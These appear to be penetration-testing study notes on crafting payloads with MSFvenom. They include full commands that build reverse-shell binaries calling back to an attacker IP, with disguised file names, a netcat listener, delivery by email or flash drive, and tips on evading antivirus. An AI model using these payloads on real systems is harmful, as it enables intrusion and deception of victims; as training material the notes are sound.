Crafting Payloads with MSFvenom

Here's a structured summary of your notes on Crafting Payloads with MSFvenom:


🧠 Key Concepts

  • MSFvenom: A powerful tool used to generate and encode payloads for multiple platforms.

  • Payload Types:

    • Staged: Sends a small stage first that downloads the full payload later.

    • Stageless: Sends the full payload in one go—often more stable and better for low-bandwidth environments.

You can identify a stageless payload because there are no slashes / after the payload name—everything is bundled together.


🛠 Creating Payloads with MSFvenom

Command format:

msfvenom -p <payload> LHOST=<attacker_ip> LPORT=<port> -f <format> > <filename>

🐧 Linux Payload Example

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
  • LHOST / LPORT: Set callback IP and port

  • -f elf: Format as a Linux ELF binary

  • > createbackup.elf: Output payload file

🧪 Delivery Methods:

  • Email with attachment

  • Drive-by downloads

  • Flash drives (on-site)

  • Internal exploits

🔊 Listener setup:

sudo nc -lvnp 443

🪟 Windows Payload Example

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > BonusCompensationPlanpdf.exe
  • -f exe: Generates Windows executable

  • Output: A simple .exe that can be social engineered

🧪 Requires:

  • AV bypass (if not disabled)

  • Social engineering for execution


🧩 Key Tips

  • Use msfvenom -l payloads to list all available payloads

  • Use encoding/obfuscation options to avoid AV detection

  • Match payload architecture to target (e.g., x86 vs x64)

  • Combine with Metasploit modules for delivery automation


Last updated